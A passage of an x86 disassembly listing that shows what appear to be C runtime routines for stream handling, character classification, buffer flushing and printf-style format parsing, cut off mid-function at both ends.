; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432860o
					; ___:0043286Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
